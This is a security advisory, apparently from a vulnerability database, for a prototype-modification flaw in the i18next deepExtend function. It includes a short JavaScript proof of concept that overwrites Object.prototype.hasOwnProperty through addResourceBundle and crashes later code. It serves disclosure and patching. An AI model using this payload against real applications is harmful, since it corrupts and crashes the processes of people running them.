Modification of Assumed-Immutable Data (MAID) Affecting i18next package, versions <26.3.4

i18next is an internationalization framework for browser or any other javascript environment (eg. node.js).

Affected versions of this package are vulnerable to Modification of Assumed-Immutable Data (MAID) via the deepExtend function in src/utils.js, which uses the in operator to check for property existence on the target object. Because the in operator traverses the prototype chain, an attacker who can supply a malicious resource bundle containing a property named hasOwnProperty can overwrite Object.prototype.hasOwnProperty, causing process-wide corruption of that built-in and crashing any subsequent code that relies on it.

Note: This is only exploitable when deepExtend is invoked with deep merging enabled, such as through addResourceBundle with the deep parameter set to true.

import i18next from 'i18next';

await i18next.init({ lng: 'en', resources: { en: { translation: {} } } });

const payload = { hasOwnProperty: { call: 'corrupted' } };
i18next.addResourceBundle('en', 'translation', payload, /* deep */ true, /* overwrite */ true);

// Process-wide corruption:
Object.prototype.hasOwnProperty.call({}, 'test'); // TypeError: ... is not a function

Note: The PoC uses i18next initialised with a default English translation resource and demonstrates process-wide corruption by overwriting Object.prototype.hasOwnProperty via addResourceBundle with deep and overwrite flags set to true.

• GitHub Advisory
• github.com
• GitHub Commit